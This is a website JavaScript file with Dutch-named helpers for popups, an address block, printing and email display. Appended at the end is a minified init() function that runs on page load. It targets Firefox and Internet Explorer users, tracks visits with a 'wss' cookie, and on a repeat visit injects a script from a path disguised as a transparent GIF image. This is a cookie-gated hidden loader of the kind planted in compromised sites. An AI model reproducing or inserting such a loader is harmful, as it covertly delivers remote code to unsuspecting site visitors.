function upgradeAdres(){
	adresBlok = document.getElementById("logo");
	adresBlok.style.zIndex = 100;
}

function downgradeAdres(){
	adresBlok = document.getElementById("logo");
	adresBlok.style.zIndex = 10;
}

function openLeefenGeniet(){
	var url = "leefengeniet.php";
	var width = 702;
	var height = 513;
	
	window.open(url, "popup", "width=" + width + ", height=" + height + ", toolbar=0, scrollbars=1, location=0, status=0, menubar=0, resizable=0, screenX=100, screenY=40, top=100, left=40");
}

function openAdres(){ 
	document.getElementById("adres").style.display = "block"; 
	
	if(navigator.userAgent.indexOf("Safari")>0){
		document.getElementById("adres").style.display="block" 
	}
}
function closeAdres(){ 
	document.getElementById("adres").style.display = "none"; 
	
	if(navigator.userAgent.indexOf("Safari")>0){
		document.getElementById("adres").style.display="none" 
	}
}

function openOverzicht(id){
	var url = "overzichtskaart.php?ID="+id;
	var width = 684;
	var height = 382;
	
	window.open(url, "popup", "width=" + width + ", height=" + height + ", toolbar=0, scrollbars=1, location=0, status=0, menubar=0, resizable=0, screenX=100, screenY=40, top=100, left=40");
}

function printPage(){
	document.getElementById("altLogo").style.zIndex="100";
	document.getElementById("adres").style.display = "none";
	window.print();
}

function showEmail(id, email){
	var tekst;
	tekst = "<img class='sep3' src='images/trans.gif' alt=''/><br/><strong class='triple'>"+email+"</strong>";
	document.getElementById("tekst"+id).innerHTML = tekst;
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/trans.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
